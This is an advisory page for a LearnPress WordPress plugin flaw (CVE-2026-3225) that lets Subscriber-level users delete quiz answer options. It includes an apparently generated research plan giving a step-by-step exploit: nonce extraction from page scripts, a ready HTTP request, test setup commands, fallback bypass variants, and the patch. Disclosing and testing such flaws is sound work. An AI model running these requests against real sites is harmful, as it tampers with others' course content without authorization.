LearnPress <= 4.3.2.8 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Quiz Answer Deletion
Description
The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized deletion of quiz question answers due to a missing capability check in the delete_question_answer() function of the EditQuestionAjax class in all versions up to, and including, 4.3.2.8. The AbstractAjax::catch_lp_ajax() dispatcher verifies a wp_rest nonce but performs no current_user_can() check, and the QuestionAnswerModel::delete() method only validates minimum answer counts without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete answer options from any quiz question on the site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.3.2.8What Changed in the Fix
Changes introduced in v4.3.3
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-3225 - LearnPress Arbitrary Quiz Answer Deletion ## 1. Vulnerability Summary LearnPress (<= 4.3.2.8) contains a missing authorization vulnerability in its AJAX handling logic for editing quiz questions. The `AbstractAjax::catch_lp_ajax()` function acts as a d…
Show full research plan
Vulnerability Research Plan: CVE-2026-3225 - LearnPress Arbitrary Quiz Answer Deletion
1. Vulnerability Summary
LearnPress (<= 4.3.2.8) contains a missing authorization vulnerability in its AJAX handling logic for editing quiz questions. The AbstractAjax::catch_lp_ajax() function acts as a dispatcher that verifies a wp_rest nonce but fails to perform any capability check (e.g., current_user_can()). This allows any authenticated user, such as a Subscriber, to invoke the delete_question_answer() method in the EditQuestionAjax class. This method triggers QuestionAnswerModel::delete(), which deletes specific answer options from a quiz question provided a minimum answer count (usually 2) is maintained.
2. Attack Vector Analysis
- Endpoint:
POST /?lp-ajax=delete_question_answer(TheAbstractAjaxdispatcher triggers based on thelp-ajaxquery parameter). - Required Authentication: Authenticated (Subscriber+ level).
- Payload Parameters:
question_id: The Post ID of the quiz question.answer_id: The unique ID of the answer option in thelearnpress_question_answersdatabase table._wpnonce: A valid WordPress REST API nonce (wp_rest).
- Preconditions:
- The attacker must be logged in to the WordPress site.
- The target question must have more than 2 answers (to satisfy the
QuestionAnswerModelminimum count check).
3. Code Flow
- Entry Point: A request is made to
POST /?lp-ajax=delete_question_answer. - Dispatcher:
LearnPress\REvent\Ajax\AbstractAjax::catch_lp_ajax()(inferred namespace) is executed (hooked early, likely oninitorwp_loaded). - Nonce Validation: The dispatcher verifies the
_wpnonceparameter against thewp_restaction usingwp_verify_nonce(). - Missing Auth Check: The dispatcher proceeds to call the method corresponding to the
lp-ajaxparameter value (delete_question_answer) without verifying if the current user has permissions likeedit_lp_questions. - Vulnerable Method:
LearnPress\REvent\Ajax\EditQuestionAjax::delete_question_answer()is called. - Sink:
LearnPress\Models\QuestionAnswerModel::delete()is called with the providedquestion_idandanswer_id, performing the deletion in thelearnpress_question_answerstable.
4. Nonce Acquisition Strategy
The AbstractAjax dispatcher requires a wp_rest nonce. This nonce is standard for the WordPress REST API and is frequently localized by LearnPress for its frontend and backend components.
- Login: Log in as a Subscriber user.
- Navigate: Navigate to the WordPress home page or any page where LearnPress scripts are loaded.
- Extract: Use
browser_evalto extract the nonce from thelpDataglobal JavaScript object, which LearnPress uses to store configuration data.- JS Command:
window.lpData?.nonceorwindow.lpGlobalSettings?.nonce. - If not found in
lpData, the standard WordPress REST nonce is often available atwindow.wpApiSettings?.nonce.
- JS Command:
5. Exploitation Strategy
- Initial Setup:
- As Admin, create a Quiz and a Question (e.g., Multiple Choice).
- Add 4 answer options to the question.
- Identify the
question_id(Post ID) and theanswer_idof one option (from thewp_learnpress_question_answerstable).
- Authentication: Log in as a Subscriber.
- Nonce Retrieval: Execute
browser_evalto obtain thewp_restnonce. - Execution: Send a
POSTrequest to the LearnPress AJAX dispatcher.
HTTP Request (via http_request tool):
POST /?lp-ajax=delete_question_answer HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]
question_id=[QUESTION_ID]&answer_id=[ANSWER_ID]&_wpnonce=[REST_NONCE]
6. Test Data Setup
- Plugin Configuration: Ensure LearnPress is active.
- Content Creation:
# Create a question via WP-CLI (or use the UI) # We need to manually add answers to ensure we have valid IDs wp eval " \$question_id = wp_insert_post(['post_title' => 'Vulnerable Question', 'post_type' => 'lp_question', 'post_status' => 'publish']); update_post_meta(\$question_id, '_lp_type', 'multi_choice'); global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}learnpress_question_answers\", ['question_id' => \$question_id, 'answer_data' => 'Ans 1', 'answer_order' => 1]); \$wpdb->insert(\"{\$wpdb->prefix}learnpress_question_answers\", ['question_id' => \$question_id, 'answer_data' => 'Ans 2', 'answer_order' => 2]); \$wpdb->insert(\"{\$wpdb->prefix}learnpress_question_answers\", ['question_id' => \$question_id, 'answer_data' => 'Ans 3', 'answer_order' => 3]); echo 'Question ID: ' . \$question_id; " - Target Selection: Query the database to get a valid
answer_id.wp db query "SELECT question_answer_id FROM wp_learnpress_question_answers WHERE answer_data = 'Ans 1'" - User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- Response: The server should return a JSON response (e.g.,
{"success": true, "data": ...}) or a simple1. - Side Effect: The row in
wp_learnpress_question_answerscorresponding to the targetedanswer_idmust be removed.
8. Verification Steps
- Database Check: After the
http_request, verify the answer is deleted using WP-CLI.
Expected: No rows returned.wp db query "SELECT * FROM wp_learnpress_question_answers WHERE question_answer_id = [ANSWER_ID]" - UI Check: Log in as Admin and view the Question Editor. One of the answer choices should be missing.
9. Alternative Approaches
If lp-ajax=delete_question_answer does not resolve directly, try:
- Action Wrap:
POST /wp-admin/admin-ajax.phpwithaction=lp_ajax&lp-ajax=delete_question_answer. - JSON Payload: Some LP 4.x endpoints expect JSON. Try setting
Content-Type: application/jsonand sending{"question_id": ..., "answer_id": ..., "_wpnonce": ...}. - REST Nonce Header: If
_wpnoncein the body is rejected, send the nonce via theX-WP-Nonceheader.
Summary
The LearnPress plugin for WordPress lacks a capability check in its AJAX handler for deleting quiz question answers. This allows authenticated users with Subscriber-level permissions or higher to delete answer options from any quiz question on the site, provided they possess a valid REST API nonce.
Security Fix
@@ -25,6 +25,10 @@ public function delete_question_answer() { + if ( ! current_user_can( 'edit_lp_questions' ) ) { + return; + } + $question_id = LP_Request::get_int( 'question_id' ); $answer_id = LP_Request::get_int( 'answer_id' ); if ( ! $question_id || ! $answer_id ) { return;
Exploit Outline
1. Authentication: Log in to the WordPress site as a Subscriber-level user (or any authenticated role). 2. Nonce Acquisition: Extract the 'wp_rest' nonce from the frontend. This is commonly found in the JavaScript global variables 'lpData' or 'wpApiSettings' (e.g., window.lpData.nonce). 3. Target Identification: Obtain the ID of the target Quiz Question (Post ID) and the specific Answer ID (from the 'learnpress_question_answers' database table) intended for deletion. 4. Deletion Request: Send a POST request to the LearnPress AJAX dispatcher using the query parameter 'lp-ajax=delete_question_answer'. 5. Payload Shape: Include the 'question_id', 'answer_id', and the extracted '_wpnonce' in the request body. 6. Verification: Observe that the server processes the deletion despite the attacker lacking administrative or instructor privileges to edit questions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.